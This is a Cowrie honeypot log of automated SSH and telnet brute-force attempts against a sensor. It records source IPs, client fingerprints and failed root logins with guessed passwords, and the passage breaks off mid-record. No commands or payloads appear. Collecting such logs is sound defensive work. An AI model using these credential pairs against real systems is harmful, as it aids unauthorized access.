{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:22.900655Z","src_ip":"103.153.68.219","session":"adb0b0c25ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:23.146005Z","src_ip":"103.153.68.219","session":"adb0b0c25ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"207660a","message":"login attempt [root/207660a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:23.885576Z","src_ip":"103.153.68.219","session":"adb0b0c25ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:25.135911Z","src_ip":"103.153.68.219","session":"adb0b0c25ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":56038,"dst_ip":"159.203.135.109","dst_port":22,"session":"210e4317fa1f","protocol":"ssh","message":"New connection: 181.47.9.103:56038 (159.203.135.109:22) [session: 210e4317fa1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:53.460470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:53.464575Z","src_ip":"181.47.9.103","session":"210e4317fa1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:53.611311Z","src_ip":"181.47.9.103","session":"210e4317fa1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":58744,"dst_ip":"159.203.135.109","dst_port":22,"session":"2466f2ca0483","protocol":"ssh","message":"New connection: 43.134.27.11:58744 (159.203.135.109:22) [session: 2466f2ca0483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:53.630691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:53.635238Z","src_ip":"43.134.27.11","session":"2466f2ca0483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:53.879944Z","src_ip":"43.134.27.11","session":"2466f2ca0483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"advocate","message":"login attempt [root/advocate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:54.219528Z","src_ip":"181.47.9.103","session":"210e4317fa1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:54.890488Z","src_ip":"43.134.27.11","session":"2466f2ca0483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.84320306777954,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:55.205482Z","src_ip":"192.119.13.58","session":"5ac87389792c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:55.366336Z","src_ip":"181.47.9.103","session":"210e4317fa1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:56.138474Z","src_ip":"43.134.27.11","session":"2466f2ca0483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":45716,"dst_ip":"159.203.135.109","dst_port":22,"session":"c48508900f00","protocol":"ssh","message":"New connection: 119.28.117.200:45716 (159.203.135.109:22) [session: c48508900f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:57.904354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:57.909684Z","src_ip":"119.28.117.200","session":"c48508900f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:58.154706Z","src_ip":"119.28.117.200","session":"c48508900f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zrway.com","message":"login attempt [root/zrway.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:59.166646Z","src_ip":"119.28.117.200","session":"c48508900f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":34212,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1b5ee3a2128","protocol":"ssh","message":"New connection: 108.167.177.203:34212 (159.203.135.109:22) [session: d1b5ee3a2128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:59.989690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:59.994031Z","src_ip":"108.167.177.203","session":"d1b5ee3a2128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:00.020321Z","src_ip":"108.167.177.203","session":"d1b5ee3a2128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"health","message":"login attempt [root/health] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:00.153270Z","src_ip":"108.167.177.203","session":"d1b5ee3a2128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":50098,"dst_ip":"159.203.135.109","dst_port":22,"session":"14d2c6c4e456","protocol":"ssh","message":"New connection: 43.156.237.246:50098 (159.203.135.109:22) [session: 14d2c6c4e456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:00.225418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:00.234243Z","src_ip":"43.156.237.246","session":"14d2c6c4e456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:00.414774Z","src_ip":"119.28.117.200","session":"c48508900f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:00.473871Z","src_ip":"43.156.237.246","session":"14d2c6c4e456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:01.181066Z","src_ip":"108.167.177.203","session":"d1b5ee3a2128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sean123","message":"login attempt [root/sean123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:01.460597Z","src_ip":"43.156.237.246","session":"14d2c6c4e456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":43242,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd11c344fc43","protocol":"ssh","message":"New connection: 207.154.230.149:43242 (159.203.135.109:22) [session: dd11c344fc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:01.942879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:02.007041Z","src_ip":"207.154.230.149","session":"dd11c344fc43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:02.110778Z","src_ip":"207.154.230.149","session":"dd11c344fc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tulus","message":"login attempt [root/tulus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:02.701364Z","src_ip":"207.154.230.149","session":"dd11c344fc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:02.705760Z","src_ip":"43.156.237.246","session":"14d2c6c4e456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:03.788887Z","src_ip":"207.154.230.149","session":"dd11c344fc43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56390,"dst_ip":"10.17.0.5","dst_port":22,"session":"f249f36137ee","protocol":"ssh","message":"New connection: 109.237.96.109:56390 (10.17.0.5:22) [session: f249f36137ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:07.531749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:07.537868Z","src_ip":"109.237.96.109","session":"f249f36137ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:07.633051Z","src_ip":"109.237.96.109","session":"f249f36137ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweq","message":"login attempt [root/123qweq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:07.913390Z","src_ip":"109.237.96.109","session":"f249f36137ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:09.011167Z","src_ip":"109.237.96.109","session":"f249f36137ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":44856,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e38d39f521","protocol":"ssh","message":"New connection: 184.94.212.80:44856 (159.203.135.109:22) [session: c4e38d39f521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:14.659895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:55:14.665808Z","src_ip":"184.94.212.80","session":"c4e38d39f521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm